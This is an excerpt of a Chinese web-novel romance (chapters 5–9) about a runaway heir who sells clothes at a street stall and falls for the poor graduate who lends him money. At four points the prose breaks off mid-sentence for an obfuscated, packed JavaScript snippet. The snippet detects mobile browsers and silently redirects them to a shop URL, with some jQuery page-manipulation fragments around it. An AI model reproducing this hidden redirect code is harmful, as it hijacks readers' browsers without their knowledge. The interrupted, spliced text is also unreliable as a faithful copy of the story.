见他跟个没事儿人似的,程溪忍住说教欲,叹了口气,翻身睡去。 一晚上谁也没睡好。 床不够大,俩人睡着睡着就挨一块儿了,你挤我我挤你。老旧空调制冷效果大打折扣,两个身子肉贴肉被热醒,又困又难受,谁都顾不上尴尬,冲反方向翻身隔开,立马又睡了过去。 彻夜醒醒睡睡,总不踏实,清晨周衍东便起来了。 他放慢动作轻声下床,一个没注意踢到行李箱,程溪哼唧几声,转头又沉进梦里,没被动静吵醒。 洗漱完从卫生间出来,周衍东发现床上的姑娘身子转了九十度,整个儿横躺,四仰八叉,睡姿豪放。 他无声笑了笑,收起晾衣杆上还未干透的衣裤塞进行李箱,走到门口停住脚步,犹豫一会儿,将箱子放在鞋架旁,轻轻关门离开。 这栋楼没电梯,程溪租的第七层,下楼时周衍东回想起昨晚她吭哧吭哧爬楼梯那样子,唇角忍不住上扬。 那会儿他问怎么不租个带电梯的房子,她说那种贵,他问怎么租七楼,她说图便宜。 离家出走大半个月,周衍东过上了以前从未体验过的穷日子,见识了各式各样的穷人。 程溪是这些穷人里最可爱的一个。 于理智上,周衍东轻蔑她的轻率和单纯;于良知上,他又对她的善良和真诚心怀感恩。 他没法在此时此刻加倍回馈这姑娘对自己的这份善待,有些遗憾,有些感慨,掏出钱包看看余额,又有了很多很多无奈。 楼下有人推小推车卖肠粉,纯素肠粉两块钱一份,加蛋或者加肉贵五毛,蛋肉都加贵一块。周衍东买了一份纯素的,一份肉蛋的,拎回去时,程溪正从卫生间出来。 他把早餐放窗边那个破烂小桌板上,打开纯素那份吃起来。 “哇,也给我买啦?”程溪看着桌上另一个饭盒,两眼放光。 周衍东“嗯”一声,没抬头,吃得慢而专注。 程溪迫不及待凑过来。 “楼下老奶奶那儿买的吧,小推车那个?”她常吃那家,一来照顾老奶奶生意,二来价格确实便宜,味道也不错。 唯一缺点是,一份根本吃不饱,还不扛饿,她总是三两口飞快吃完,没多久又饿了。 “你买过?”周衍东问。 程溪点点头:“经常买,跟奶奶都混熟了。” 她打开饭盒,拆开一次性筷子,正准备吃,筷子忽然被拿走。 周衍东一手握住一只筷子,两根筷子十字交叉摩擦着。 “这玩意儿有小刺,磨一磨省得扎嘴。”他将磨过的筷子递回给程溪。 程溪低头愣愣看着筷子:“这样啊,长见识了。” 周衍东:“你以前都不磨?” 程溪摇头。 周衍东:“不怕扎嘴?” 程溪摸摸脑袋笑起来:“皮糙肉厚的,没被扎过。” 她盯着周衍东看。 吃到最后一口时,周衍东忍不了了,抬眼瞧过去。 “干嘛?” 程溪嘿嘿笑:“其实你一点儿都不糙。” 周衍东筷子停在嘴边:“还不糙啊?” 程溪:“哪个糙老爷们儿用一次性筷子之前会磨一磨?哪个糙老爷们儿吃相这么优雅,这么好看?我第一次见人把广式肠粉吃得像法国大餐!就差给你配副刀叉了!” 周衍东乐了:“什么优雅不优雅的,就是吃得慢而已。” 程溪杏眼睁圆,认真看着他:“别人慢慢吃是磨叽,你慢慢吃就是优雅。” 周衍东也看着她,忍住没笑,想了好一会儿,憋出四个字:“我谢谢您。” 程溪:“不客气的。” 周衍东没忍住,笑出声。 “程溪,可得把我手机号留好了,最好背下来。” “干嘛呀?” “别看哥哥现在虎落平阳,以后必定东山再起。” “你意思是,等你以后飞黄腾达了,一定会报答我?” “没错。” “那万一,我是说万一啊,万一你没飞黄腾达呢?” “不可能。” 程溪杏眼笑成月牙:“这么自信呀!我现在就背。” 点开手机通讯录,她认认真真背起来。 “139……” 周衍东偏着头瞧她,淡笑:“这么信我?万一真被你说中了,没飞黄腾达呢?” 程溪翻了翻白眼:“我那么说是逗你的,其实我很信你会出人头地。” 周衍东扬眉:“真的?” 程溪:“千真万确!” 周衍东:“为什么?” 程溪:“直觉!” 周衍东噗嗤一笑:“还以为有什么令人信服的理论依据呢。” 程溪歪起脑袋睨他。 “这你就不懂了。有时候,直觉比理智更准确。理智要通过头脑分析,直觉直接靠灵魂去感受。” 她看着周衍东沉默一会儿,眨了眨眼,又开口:“要不你去做生意吧。” “没本钱。你以为生意谁都能做?”周衍东笑她天真。 程溪伸出食指左右摇晃:“又不是让你去做什么几千万的大买卖,在楼下推个车摆个摊儿什么的,总可以吧?” 周衍东想都没想,摇头拒绝:“卖肠粉啊?抢老太太生意的事儿我可干不出来。” 他知道程溪不是这个意思,故意装傻这么说。 程溪放下筷子:“谁让你卖肠粉了?除了肠粉,还有很多东西能卖,鞋啊衣服啊小饰品啊,或者手抓饼、章鱼小丸子什么的,都不错。别瞧不起摆地摊儿,靠摆摊发家致富的人多了去了!” 她说得慷慨激昂,周衍东内心毫无波澜。 当了这么些年大少爷,学了这么久计算机专业,到头来还得摆地摊儿,搁谁谁能接受?反正他周衍东是接受不了。 见他无动于衷,程溪劝得更加卖力。 “信我,真的,你绝对是做生意的好苗子。不说别的,光外形这一块,你往摊儿边一站,就是活招牌,少不了女人来买!” 周衍东乐得发笑:“绕来绕去,不还是赚女人钱么?那我不如直接去会所当男模。” 程溪抬手往他脑袋上招呼一下,架势大力道轻,只碰着头发。 “不是说没做过男模,这辈子都不可能做男模吗?少拿这种事儿开玩笑,毁自己清白。” 周衍东半开玩笑半认真:“我看你不是怕毁我清白,你就是纯吃醋。” 程溪性子直,不爱弯弯绕绕,承认得很直接:“对啊,所以为了不让我吃醋,以后别再说这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好一阵儿周衍东才回过神,眨了眨眼,笑着用轻松的语气说最沉重的话:“要是赔了呢?交不了房租,下个月你会不会被赶出去,跟现在的我一样,居无定所?” 程溪从钱包里掏出薄薄一小沓红票子,拢共十张,塞进周衍东手里,神情无比严肃:“所以,你只能赚,不能赔。” 周衍东还是不安心:“万事无绝对,要是赔了——” 程溪:“要是赔了,你就以身相许,娶我吧,就当是还债。” 她笑眯眯的。 周衍东攥紧手里的钱,大惊,扔下箱子转身就跑:“哥哥这把只能背水一战,赚它个盆满钵满!” 程溪乐得蹦跶,笑着冲楼下喊:“赚的钱六四分,我六你四!” 附近有个公交站,周衍东一路跑过去。 旭日东升,他迎着阳光飞奔,无形中像是甩掉了什么,越跑越快,越跑越轻盈。 后来他回想,那些甩掉的,无非是迷茫和压力,还有压身多年的少爷包袱。 人在走投无路时,决定放手一搏的瞬间,就是逆风翻盘的风口。 他在奔跑中回头望了望,身后没有程溪,耳边却萦绕着一个声音——“周衍东啊,我把宝押你身上了。” “你还真押对了。”他笑着继续跑,在心里对她说,也对自己说。 6. 第 6 章 广城主要有三个大型服装批发市场,分别位于三个不同方位城区,周衍东在网上查询过基本信息,找出三条最近路线,其中一条刚好是从目前自己所在的公交站出发。 两小时后,周衍东解锁了人生新地图——百宁服装批发市场。到达时并不晚,但来自全国各地的商家们大多数都已经进完了货,人群不再熙攘,周衍东双手揣兜慢悠悠穿梭其中。 程溪让他先来看看情况,明天再进货,他觉得没必要浪费时间多跑一趟。 气定神闲散步似的溜达完一圈,东问问西问问,大概了解了这里的基本情况,周衍东直接开始进货。 一千块钱本金,高档货就别想了,也没必要,一部分好货已经被拿完,周衍东只挑便宜的进,心里盘算着怎么定价。 程溪出的这点钱不禁花,没多久便用得精光,周衍东拎着几个塞满了女装的大黑塑料袋,地铁转公交原路返回,把这些便宜货送到小出租屋,七平米的房间本就没剩多少地儿,几袋子货塞进去更显拥挤。 周衍东心里不是滋味,这关头怨天尤人也没用,他打起精神,去楼下超市逛一圈,没找着摆摊落地架,只买到五十个挂衣架。 将挂衣架送回去,他又坐公交去大型超市,转来转去,跑了好几个地方,总算找着一个合适的简易拼搭落地架。 四十二块六毛的价格让周衍东犯了难。 买吧,花完这钱,兜里就只剩七块四;不买吧,摊儿都没法摆,那些货岂不白进? 打开网购软件看了看,这东西网上也就十几二十块,比超市便宜不少,可快递送达至少得两天,眼下着急卖货,多一天他都等不了。 周衍东咬咬牙,还是把这四十二块六花出去了。 程溪住的那片城中村,巷子外已经有人在路边摆起摊位,小吃,服装,饰品……卖什么的都有。周衍东上楼拿货,屋里小桌上正好摆着一叠A4纸,还有一只黑色马克笔,他用马克笔在一张纸的顶端写了大大四个字——“特价甩卖”,又在中间写上“统统十元”,最后在“元”字右下方,加了个小小的“起”字。 这招是跟街边小摊贩学的。 周衍东搭好落地架,将衣服裤子裙子挂在衣架上又挂上落地架,那张A4纸贴在落地架前方,随后拿出一沓批发市场进的白色中号塑料袋挂着,闷头忙完所有操作,他长长舒了口气,站路边四处观望。 周衍东就这么双手揣兜站着,表面看上去淡定自若看,心里却是慌的。 这笔买卖要真赔了,程溪下个月不会被房东赶出去吧? 她要真被赶出去,该不会逼着自己娶她吧? 她那一根筋的脑子,真干出这种事儿也不一定…… “老板,这条裙子十块吗?” 耳边传来女人声音,周衍东回过神,抬头看着面前的年轻女人,伸出四个手指头:“四十。” 女人有些失望:“啊?不是统统十元吗?” 周衍东指着“元”下那个小小的“起”,脑子转得飞快,淡笑道:“你是今天第一单,开张图吉利,三十五拿去得了。” 女人还想讲价,周衍东赶在她开口前摆了摆手:“三十五都赚不了几个钱,再便宜我进货路费都亏没了。” 他帅得鹤立鸡群,相貌周正,桃花眼看什么东西都深情,说什么话都具有信服力,语气软一点,稍微示个弱,便叫人忍不住生出几分怜惜。 第一位顾客显然也不例外,听他这么说,没好意思再还价,掏出钱包付完账,又听见他开口:“谢谢妹妹。” 女人红着脸笑道:“什么妹妹,我都三十好几了,儿子都上小学啦!” 周衍东自然看得出来,只是本着顾客至上的原则,必须睁眼说瞎话:“是么?真看不出来!瞧着也就十七八小姑娘那样儿。” 嘴上这么夸着,心下后悔没进点童装,不然还能让这位姐顺带给她儿子买一件。 女人知他这话离谱,还是很受用,走到马路对面咧开的嘴还没合拢。 不知什么缘故,开了张之后生意好得出奇,不到半小时,周衍东已经卖掉十件。到了下班的点儿,地铁站里乌央乌央往外涌人,周衍东这个小摊位前,顾客就没断过。 很快,卖完三十九件货,周衍东将最后一条粉色连衣裙放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042416|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进塑料袋里,在周围摊贩羡慕的眼光中收起落地架,离开时听见旁边卖手工串珠和卖手抓饼那俩老板议论—— “长得帅就是厉害哇,衣服卖这么快!” “人家也算是自己摊位的代言人了,要我说,这老板可比娱乐圈那些男明星好看!” “说不定以后真被星探发现,安排去选秀!” “那我必须投他一票!帅得我头皮发麻啊啊啊!” …… 周衍东从来没觉得自己有多帅,尽管打小就被认为帅得惊为天人。 他不明白,审美出了问题的到底是别人还是自己。 现在,他认为应该是别人,毕竟自己挑的这些货能卖这么好,主要原因肯定还是款式漂亮,深得女人心。 回出租屋第一件事,当然是算账。 周衍东数完最后一张钱,高兴得拍桌,迫不及待想见到程溪,告诉她自己一小时内赚了六百块的好消息。 周衍东揣着鼓鼓囊囊的钱包下楼等程溪。 他想她应该是找工作去了。无论今天工作找得顺不顺利,晚上她肯定会有好心情,因为他决定把今天赚到的六百块全给她。 一想到那张圆乎乎的脸蛋上浮现出欢天喜地的表情,周衍东唇角不自觉上扬。 路口等了十分钟,大雨来得猝不及防,周衍东想起出租屋门上挂着一把长柄伞,赶忙跑回去拿。 他估摸着程溪只有这一把伞,怕她淋雨,撑着伞跑到地铁站外,等到七点半也没见程溪人影。 雨这么大,没准儿她会打车回来,周衍东心想,走到进巷口停下,犹豫着要不要在这里再等会儿。 一辆劳斯莱斯驶来,缓缓停在他面前。 周衍东有些惊讶,这破地儿还能看见豪车。 然而下一秒,更让他惊讶的事情出现了。 从这辆劳斯莱斯后座下来的男人,他认识。 男人撑着伞站在车旁,替随后下车的姑娘挡雨。 天已经黑透,路灯在雨中散发着朦胧的光。 昏暗之中,周衍东还是看清了姑娘的面庞。 竟是程溪。 7. 第 7 章 倾盆大雨瀑布般倾泻而下,地面汇出小溪似的水流,打湿了程溪的平底帆布鞋。 她低头看了看没过鞋底的雨水,嘴上忙不迭跟给自己撑伞的男人道谢。 “太感谢您了宋总,谢谢宋总送我回来,要不是您好心——” 抬眼之间,程溪看见巷口另一个男人,声音戛然而止,愣愣站在原地。 宋言顺着她目光望过去,也是一愣,微微皱起眉心,眼底闪过惊讶。 周衍东默不作声,眼神在他俩脸上来回扫。 程溪受不了周衍东这种眼神。 她不是没在这双漂亮眼睛里看到过戏谑,可此时的戏谑中,多了之前不曾有过的轻蔑。 生怕被误会,程溪赶紧解释:“这位是宋总,雨太大了,宋总好心送我一程。” 说着,她一个箭步从宋言伞下冲到周衍东伞下。 周衍东仍是不说话。 宋言冲程溪点了点头,看向周衍东,跟看个陌生人似的。 “这位是?”一个圈层混,宋言当然知道周衍东真实身份。他只是好奇,这位京圈贵公子和自己今天认识的城中村灰姑娘,到底什么关系。 “他、他是……是……”程溪支支吾吾,不知该怎么介绍周衍东。 宋言素来识趣,换做其他场合,别人若是不方便说,他一定会看看手表,假装有事着急离开,但现在,他目不转睛盯着程溪,似乎不等到一个确切答案,决不罢休。 “他——哎,反正就,就是——”程溪脸涨得通红,开始语无伦次。 “我是她男朋友。”周衍东淡淡开口。 程溪猛地扭头,眼睛瞪得老大,不可思议看着他。 周衍东没理会,面无表情看向宋言。 宋言想起了前阵子圈里的某个传闻,会心一笑,冲周衍东轻轻点头:“幸会。” 周衍东还是那副面瘫表情,不接腔。 程溪紧忙道歉:“对不起啊宋总,我男、男朋友性格内敛,不好意思跟不熟的人多说话。” 周衍东攥住她手腕转身走进巷子里。 程溪回头扬声喊道:“今天真是太感谢您了宋总!改天请您——哎呀你这么大劲儿拽我干嘛!周衍东你抓得我手腕疼!” 周衍东加快脚步,攥她的力道更紧,疼得她龇牙咧嘴。 进了楼道,周衍东终于松手。 程溪又气又困惑:“干嘛呀你!这么没礼貌,人宋总好心——” 周衍东冷笑:“他好心?” 程溪:“是啊,我就没见过这么平易近人的老板,今天要不是他我肯定淋成落汤鸡!哎呀,你等等我!爬这么快,腿长了不起啊!” 程溪一口气跑上七楼,腿都快蹬出火星子,还是被周衍东甩开一大截。 出租屋门敞开着,周衍东双手揣兜,后背靠着白墙,转脸冷冷看向扶着门框气喘吁吁的程溪。 “你刚才……呼……刚才到底……到底怎么回事啊?”程溪不住地轻拍胸脯,上气不接下气。 男人充耳不闻,依然冷眼瞧她。 “还有,干嘛说你——”程溪脸颊通红,耳朵直发烫,“说你是我男朋友……” “这不是你希望的吗?”周衍东抱起胳膊,终于开口。 程溪脖子根也染上绯色:“之前我是希望这样来着,可你不是、不是拒绝了吗?宋总好心好意送我回来,还要被骗……改天我发消息给他解释清楚。” 周衍东冷哼一声,扬眉轻笑:“怎么解释?告诉他你大晚上把我这个陌生男人带回家,第一天认识就跟我睡同一张床,上杆子要和我谈恋爱。程溪,你就这么缺男人,这么饥不择食?” 程溪眼泪夺眶而出:“我没有!你说这话,太伤人心了……” 周衍东别过脸,又是一声冷笑。 “程溪,长点儿心吧,省得哪天被人卖了还替人数钱。” “谁会卖我呀?真要有人卖我,估计就是你周衍东!”她站在门口,抬起手背抹泪,眼泪成串往下掉,总也抹不干。 周衍东从裤兜里掏出一千本金和转来的六百块,啪地拍桌上,转身快步往外走。 程溪堵在门口,双手撑着门框不让他出去。 “不许走,把话说清楚!”她仰起头,近距离看他,难受得喉咙堵,心也堵。 周衍东笑里几分轻蔑:“跟你没什么好说的。” 程溪心都快碎了,只想蹲下抱住自己狠狠哭一场,却又偏要望着他,眼也不眨,泪就这么一串一串从眼眶里滚落,断了线的珠子似的。 “周衍东……”她语气软下来,撇着嘴停顿片刻,睁大那双盛满泪水的杏眼,湿漉漉的目光中透出那么点想都不敢想的期待,“你是不是,吃醋了?” 这话给周衍东问得发懵。 他先是皱眉,随即眉头挑得老高,几秒后又落下来,眉心紧拧。 “今天拢共赚了六百,咱俩也别四六分了,都给你。你把钱收好,”周衍东指指自己太阳穴,“明儿一早去医院查查脑子。” “我脑子没坏!”程溪跺脚。 周衍东气得发笑:“行,你是大聪明。程大聪明,麻烦让一让,我要出去。” 程溪死死抓着两边门框:“不让。” 周衍东深吸一口气,别过脸去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042417|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直摇头。 “程溪,你到底要干嘛?” “给我道歉。你刚才说我缺男人,饥不择食。” “对不起啊,恕我无礼,可以放我走了吗?” “不行。你刚才说自己是我男朋友。” “我那是替你解围!” 周衍东攥紧拳头,忍住捶墙的冲动。 程溪眼泪总算止住,吸了吸鼻子,双眼泛红瞧着他。 “我就说你是块做生意的料,我押对宝了!” “感谢您的信任,请问咱俩现在可以好聚好散了吗?”周衍东最后一丝耐心即将用尽,忍着火气,满脸烦躁。 程溪不作声,紧紧抿着双唇,过了一小会儿,再也绷不住,大哭起来。 “这六百我不要!明天你拿着一千六继续进货去!”她哭着说道。 周衍东低头瞧她,眼也不眨。 他很少碰上难题,直到遇见程溪。 程溪这种姑娘,乍一想特简单特轴,可人要是太简单太轴了,就会做出一些令人匪夷所思的事。 一些以他的超高智商和广大见识都无法理解的事。 比如,无条件信任他。 再比如,无条件对他好。 “程溪,”他不知道怎么就开了这个口,声音还十分温柔,“真想跟我谈恋爱?” 程溪蓦地一愣,点点头。 周衍东:“那得答应我件事。” 程溪:“什么?” 周衍东:“离宋言远点儿,他不是好东西。” 程溪不明白为什么周衍东会这么武断地评判一个不认识的人,可还是听话地应了下来:“好。” 周衍东点点头,陷入沉默。 程溪将他往里推,走进出租屋,关上大门,靠着门板仰脸看他。 “所以我们现在,是真的男女朋友了?”她问。 周衍东低头,片刻后抬眸望向她。 “程溪,你谈过恋爱吗?” 程溪摇头。 周衍东:“我也没谈过。” 程溪不信:“真的假的?你这么帅,二十二了还没谈过恋爱?” “没谈过,所以——所以你是我初恋,”这话从他嘴里说出,多少有些别扭,他移开目光,又漫不经心似的补一句,“我也是你初恋。” 程溪破涕为笑:“好巧哦,好浪漫!” 她不懂,那一刻他心里想的是:初恋难得有走到最后的,谢天谢地,他们肯定也不例外。 周衍东目光回到她脸上,望着这张青涩稚嫩的面庞,望着她脸上未干的泪痕和唇角漾开的笑意,心里五味杂陈。 8. 第 8 章 这天晚上,程溪怎么也睡不着,一会儿翻一下身,周衍东累了一整天,刚睡着又被身旁动静吵醒,语气烦躁:“左翻右翻的,摊煎饼啊?” 程溪从冲着墙那面翻过来,睁大眼睛,在黑暗中盯着他。 “我睡不着,总觉得不真实,整个人像是飘在云里……” “你也没喝酒啊。”周衍东打了个哈欠,翻身面对着她。 “是没喝,可这种感觉就跟喝了似的,而且像喝了很多!”程溪小声说道,语气中有种被强制压抑住的兴奋。 周衍东抬手伸过去,掌心落在她额头,摸到一层细汗。 “这也没发烧啊,”他坐起来,手掌飞快搓了搓后脑勺,好让自己不那么困,“是不是饿的?” 俩人都没吃晚饭。周衍东原本计划带她好好吃一顿,可怎么也没料到自己就这么稀里糊涂跟她谈上了恋爱,关系进展得太突然,那会儿谁也没心思吃饭。 程溪起身靠着床头抱膝而坐。 “我要是说我饿了,你会下去买吃的吗?”她问。 “嗯。”周衍东点点头,准备下床,胳膊被她抓住。 “别去,我不饿,就是问问。”程溪松开手,却没收回来,而是往下移,轻轻握住了他的手,与他十指相扣。 “周衍东,我们真的在一起了?”她觉得自己像在做梦。 睡不着,也不敢睡,生怕醒来梦就没了。 周衍东这辈子头一回牵姑娘的手,还是十指相扣,心跳忽然加快,转脸看着黑暗中程溪模糊的面部轮廓。 “要不要掐你一下,看看是真是假?”他笑着问,心里庆幸关着灯,否则被她看到自己脸红,怪害臊的。 程溪另一只手轻轻捶他。 “周衍东,你对我真好。” “啊?”他懵了,“我什么也没做,怎么就对你好了?” “如果我饿了,你愿意下楼给我买吃的!” “程溪。” “嗯?” “恋爱脑是病,得治。” “不治,万一治好了,没现在这么幸福。” 周衍东拿这一根筋没招,无奈轻笑:“以后我要是对你不好呢?” 程溪身子倾过来,脑袋靠在他肩上:“以后的事以后再说,现在我很开心。” 周衍东:“有什么好开心的,咱们现在这么穷。” 程溪:“只是现在穷,又不是永远穷,都说了你是潜力股,未来肯定大富大贵!” 周衍东笑了,没作声。 程溪安静一会儿,扭头看着他,轻轻开口:“跟我说说你家里人呗。” 周衍东:“终于想起问这个了?” 程溪知道他笑自己轻率,家庭情况都不了解就冒然跟人谈恋爱。 她笑了笑:“不说也行。” 见他陷入沉默,程溪以为他不愿意聊家庭,过了会儿忽然听他说道:“我家里边儿吧,说简单也简单,说复杂也复杂,你想听哪方面?” 程溪乖巧靠着他,闭上眼睛:“都行,你说什么我听什么。” “我爸是个控制狂,妄图控制一切,他的人生信条就是:顺我者昌,逆我者亡。我妈年轻时还有点儿自己的思想,跟我爸待一起时间长了,被他洗脑得像个傀儡。” 周衍东停顿片刻,低头看着靠在自己肩上的姑娘。 “咱俩谈谈恋爱过把瘾得了,别想着结婚,你要是嫁进我家,他俩绝对走在你后边儿,因为你会被他俩气死。”虽然周衍东从没想过娶她,可这话绝对是肺腑之言。 程溪听得不知所措:“你把你爸妈说得也太不堪了吧,至于吗?” 周衍东:“至于,真实情况比这更甚。” 程溪沉默一会儿,长长叹气。 “我爸妈也不好。” 周衍东:“看出来了,你极度缺爱。” 程溪:“他们只喜欢我弟,只对我弟好。” 周衍东:“重男轻女呗。” 程溪语气伤感:“我老家那边都这样。” 周衍东理解她的难受,一时不知该怎么安慰,沉默片刻,笑着说:“长大真好,不再受制于原生家庭。” 这话说给她,也说给自己。 尽管目前找工作被家庭出手阻碍,周衍东依然无法获得全然的自由,但他相信,这种情况绝不会持续太久。 因为程溪给了他力量和希望。 周衍东问:“你老家哪里的?” “西南那边的,黔州一个县城,那里很穷很穷,”程溪把头从他肩上抬起来,埋在自己膝盖上,“我是从小地方来的,不像你,来自大城市。” 周衍东知道她自卑,摇摇头:“其实京州也就那样,有些地方也脏乱差。” 程溪:“那也是大城市,首都呢!” 周衍东:“去过吗?” 程溪摇头。 周衍东:“想去?” 程溪:“本来打算毕业去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042418|148917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一趟的,家里出了点事,攒的钱大部分给爸妈了,就没去成。” 又是一声长叹后,她陷入沉默。 周衍东从不轻易承诺什么,然而这一刻,他脱口而出:“以后带你去。” 程溪猛地抬头:“真的?” 夜里黑漆漆,周衍东看不清她面庞,从声音里听出她现在一定满脸笑意。 “骗你干嘛?又不是去不起,你都说了,我是大富大贵命。” “就是嘛!周衍东,你得像我相信这样相信你自己。” 程溪打开灯,下床拿起吵架时他拍在桌上的钱,反反复复数,合不拢嘴。 “一千六!周衍东你太牛了,这么点时间就赚了六百,货全部卖光!” 周衍东也下了床,从桌底拽出一个塑料袋,将袋子里的粉色连衣裙递给程溪。 “没卖光,给你留了一条。” 程溪捂嘴惊叫,又惊又喜,接过裙子一看,噗嗤笑出声。 “哈哈哈哈这裙子也——”她笑得上气不接下气,“也太……哈哈哈!” 这个反应跟自己预料的很不一样,周衍东目光困惑摸摸脑袋:“裙子怎么了,不好看吗?” 程溪捧着肚子仰天大笑,过了会儿终于能正常说话了:“岂止不好看,简直土到外太空!” 周衍东发懵:“土?这不挺可爱么……” 程溪拎着裙子摇头,直叹气。 “我现在严重怀疑你进货的审美。” 周衍东不服气:“也就这条土了点儿,其他都挺漂亮,不然能卖这么快?” 程溪眨了眨眼:“我觉得吧,主要原因还是你长得帅,往那一站,是个女的都忍不住凑过来看看,再被你一推销,钱包就捂不住了。” 周衍东抬手往后挥了挥:“管他什么原因,赚到钱就成。快睡吧,明儿我四点半起,早点去进货。” 两人回到床上,程溪依然睡不着,身旁的男人呼吸渐渐匀净。 她侧身面对他,睁眼盯着看了许久。 “程溪。” 男人忽然开口,吓她一跳。 “没睡着啊?”程溪脸伸过去,鼻尖几乎碰到他面颊。 周衍东转过脸来,好巧不巧与她鼻尖抵着鼻尖,两人都愣了愣,又都没退缩,就这么轻轻抵着。 “程溪。” “嗯?”她声音微微发颤。 “你怎么跟宋言混熟的?” 周衍东很是好奇。 9. 第 9 章 “我跟宋总……”程溪蹙起眉心,“怎么混熟的?拜托,你搞错了吧,我跟宋总压根不熟,今天才认识呢。下午面试的那家公司,他是老板。” 周衍东:“他面的你?” 照理说,言辉集团这么大的企业,董事长一般不会亲自来当面试官,尤其是程溪应聘的职位——虽然不清楚具体什么职位,但不用猜他也知道,像她这种应届毕业的本科生,不可能进言辉担重要角色。 程溪摇摇头:“不是,面试官是HR和部门主管。” 周衍东追问:“那你俩怎么认识的?” “说来也挺巧的,赶上堵车,下午去面试时差点迟到,我急冲冲去到公司,没看路闷头往前跑,撞着宋总了,当时还不知道他身份呢!我一个劲儿道歉,看他样子不像普通人,以为要挨顿臭骂,没想到宋总特有亲和力,不仅没计较,还问我这么着急有什么事儿,我说我得赶面试,他就让我快过去,别迟到。” 周衍东:“面完又碰上他了?” “嗯,”程溪顿了顿,摇头,“也不是马上就碰到,面完我正准备走,都下到一楼了,HR给我打电话,说需要再进行一轮面试,考核专业知识。其实我就是去面个企划文案职位,本科学的也是不好找工作的文学专业,人家要考的专业知识,不可能是文学方面,肯定跟言辉的主要业务相关,那一轮面完,我觉得自己绝对完蛋了……” 周衍东冷哼一声:“没想到竟然过了?” 程溪:“对!不愧是你,料事如神!” 他笑了笑,屈着手指轻叩她脑门儿:“接着说,别皮。” 程溪:“本来我都以为没希望了,谁知还没走出大厦,HR又打来电话,通知我周一入职,让我留意看邮件。我当时那个兴奋啊,你能懂吗周衍东!这可是言辉!言辉集团!国内房地产行业标杆!” 周衍东剑眉微扬,沉默片刻,问道:“听说过盛科吗?” 这是他父亲耗尽半生心血创造的商业传奇。 程溪点点头:“当然!房地产行业top1!别看我是个乡巴佬,我也会上网也会看新闻好吗,‘北盛科南言辉’还是听过的。” 周衍东:“怎么没想过去盛科?” 程溪:“盛科总部在京州,太远了。而且说实在的,我这专业真不好找工作,进房地产公司也只能当个文职,上限不高,没必要跑那么远。” 周衍东:“怎么不想着往管理层搏一搏?” 程溪:“我?还是算了吧,我没那么大能力,也没那么大野心,踏踏实实当个被管理的牛马得了。” 这话周衍东不爱听。 他轻轻捏了捏程溪耳朵,板着脸纠正:“虽然你在感情方面脑子不太好使,但工作方面应该能力挺强,不要妄自菲薄知道吗?得像你相信我那样,相信你自己。” 程溪心里涌进暖流,这一刻美好得太不真实,她握住周衍东捏自己耳朵的那只手,仰起脸贴在他耳边。 “你真觉得我工作能力强?” “嗯,想想看,能从那么穷的小地方考到广城的重点大学,四年时间勤工俭学攒了五万,一般人吃不了这个苦。我爸说过一句话,我觉着特有道理。” “什么话?” “那话是十年前说的,那会儿我年纪还小,但印象特别深刻。他说,人这一辈子,只要足够努力,足够勤奋,踏踏实实做事儿,哪怕不那么聪明,不那么圆滑,也能过得还不错,至少不会太穷。” 程溪听完也深受触动:“你爸爸说得很对,其实他也不像你以为的那么讨厌嘛!” 周衍东:“不,紧接着他又说,‘你比绝大多数人都聪明,一定不要浪费自己的天资才华,要比他们勤奋努力千百倍,才对得起老天给你的智商和老子对你的栽培’。” 程溪哑然,默默叹了口气。 “后面这些话确实挺让人窒息的。” 周衍东冷笑:“体会到他的厉害了吧?嗐,不说他了,扫兴。你接着说。” 程溪怕他生气,小声开口:“也没什么好说的啦,后来就是下大雨,我没带伞,在大厦门口干等着,半天不见雨停,正打算淋雨跑去地铁站,宋总就出现了,好心提出送我回来。” 周衍东皱眉:“他说要送你,你就乖乖上车了?” 这也太好骗了,万一是个人贩子呢?周衍东面色凝重,气她对人毫无防备之心。 程溪晃了晃脑袋,解释道:“哪有!我拒绝了好多次来着,可是雨越下越大,他又一直坚持要送我,还说正好顺路,我着急回家,拗不过他,才上了他的车。” 沉默好一阵儿,周衍东问:“劳斯莱斯坐着感觉如何?” 程溪有些惊讶:“宋总的车是劳斯劳斯?” 